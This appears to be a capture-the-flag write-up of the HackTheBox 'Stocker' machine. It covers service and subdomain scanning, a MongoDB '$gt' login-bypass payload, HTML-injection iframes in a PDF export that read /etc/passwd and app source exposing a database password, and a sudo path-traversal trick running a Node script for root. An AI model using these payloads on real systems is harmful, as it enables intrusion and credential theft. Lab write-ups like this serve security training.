HackTheBox - Stocker

3 minute read

Recon:

sudo nmap -sV -sC -oA nmap/alltcp 10.10.11.196 -p- -v
--snip--
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  tcpwrapped
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)



--snip--

Open ports

port service initail footprint
80 http the host is stocker.htb , nginx/1.18.0
22 ssh  

Adding stocker.htb to /etc/hosts

sudo echo "10.10.11.196 stocker.htb" >> /etc/hosts

http://stocker.htb

Untitled

just static website that has no info

Tech detect
echo "stocker.htb" | httpx -td 

    __    __  __       _  __
   / /_  / /_/ /_____ | |/ /
  / __ \/ __/ __/ __ \|   /
 / / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
             /_/

		projectdiscovery.io

[INF] Current httpx version v1.2.9 (latest)
http://stocker.htb [Eleventy:2.0.0,Nginx:1.18.0,Ubuntu]
                                                        
dirsearch
dirb http://stocker.htb/ /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Apr 14 00:15:18 2023
URL_BASE: http://stocker.htb/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt

-----------------

GENERATED WORDS: 5947                                                          

---- Scanning URL: http://stocker.htb/ ----
==> DIRECTORY: http://stocker.htb/css/                                                                                                                                                                     
==> DIRECTORY: http://stocker.htb/img/                                                                                                                                                                     
==> DIRECTORY: http://stocker.htb/js/                                                                                                                                                                      
==> DIRECTORY: http://stocker.htb/fonts/                                                                                                                                                                   
--> Testing: http://stocker.htb/catalog 

Nothing usefull

subdomains scan
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/04/14 00:36:28 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]

sudo echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts

http://dev.stocker.htb

Tech detect
echo "dev.stocker.htb" | httpx -td                                                                                                                                                                  2 ⨯

    __    __  __       _  __
   / /_  / /_/ /_____ | |/ /
  / __ \/ __/ __/ __ \|   /
 / / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
             /_/

		projectdiscovery.io

[INF] Current httpx version v1.2.9 (latest)
http://dev.stocker.htb [Express,Nginx:1.18.0,Node.js,Ubuntu]

we have a node js webserver

Untitled

Trying admin:admin Untitled

I have tried password spraying, sqli but no luck seems we need one of the node.js login bypasses

Hacking NodeJS and MongoDB

I found this post and it worked :)

payload:

{
  "username": { "$gt": "" },
  "password": { "$gt": "" }
}

Untitled

and we are in :)

Untitled

What can we do?

  • Add items to cart
  • View cart
  • Submit the purchace
  • View the purchase order as a pdf file (we can have html injection here)

Untitled

Untitled

the only reflected fields are the title , price and amount(Quantity)

Html injection

Untitled

Untitled

File Inclusion

  • /etc/passd payoad:
      <iframe src=/etc/passwd height=1000 width=1000></iframe>
    

    Untitled

    • root
    • angoose
    • www-data (in /var/www)
  • /var/www/dev/index.js payoad:
      <iframe src=/var/www/dev/index.js height=1000 width=1000></iframe>
    
      onst express = require("express");  
      const mongoose = require("mongoose");  
      const session = require("express-session");  
      const MongoStore = require("connect-mongo");  
      const path = require("path");  
      const fs = require("fs");  
      const { generatePDF, formatHTML } = require("./pdf.js");  
      const { randomBytes, createHash } = require("crypto");  
      const app = express();  
      const port = 3000;  
      // TODO: Configure loading from dotenv for production  
      const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";  
      app.use(express.json());  
      app.use(express.urlencoded({ extended: false }));  
      app.use(  
      session({  
      secret: randomBytes(32).toString("hex"),  
      resave: false,  
      saveUninitialized: true,  
      store: MongoStore.create({  
      mongoUrl: dbURI,  
      }),  
      })  
      );  
      app.use("/static", express.static(__dirname + "/assets"));  
      app.get("/", (req, res) => {  
      return res.redirect("/login");  
      });  
      app.get("/api/products", async (req, res) => {  
      if (!req.session.user) return res.json([]);  
      const products = await mongoose.model("Product").find();  
      return res.json(products);  
      });  
      app.get("/login", (req, res) => {  
      if (req.session.user) return res.redirect("/stock");  
      return res.sendFile(__dirname + "/templates/login.html");  
      });  
      app.post("/login", async (req, res) => {  
      const { username, password } = req.body;  
      if (!username || !password) return res.redirect("/login?error=login-error");  
      // TODO: Implement hashing  
      const user = await mongoose.model("User").findOne({ username, password });  
      if (!user) return res.redirect("/login?error=login-error");  
      req.session.user = user.id;  
      console.log(req.session);  
      return res.redirect("/stock");  
      });  
      app.post("/api/order", async (req, res) => {  
      if (!req.session.user) return res.json({});
    

    we got a password IHeardPassphrasesArePrettySecure

ssh as angoose

ssh angoose@stocker.htb

Priv Esc

Untitled

we can run node as a sudo only if the script path fit the /usr/local/scripts/*.js

the folder /usr/local/scripts/ is not writable so we need a path traversal trick

inside the home directory we can make our script Untitled

and it worked

Untitled

now we can create our script

const { exec } = require("child_process");

exec("/bin/bash /home/angoose/script.sh", (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.log(`stderr: ${stderr}`);
        return;
    }
    console.log(`stdout: ${stdout}`);
});

Untitled

sudo node /usr/local/scripts/../../../home/angoose/script.js

Untitled

Tags: ,

Categories:

Updated: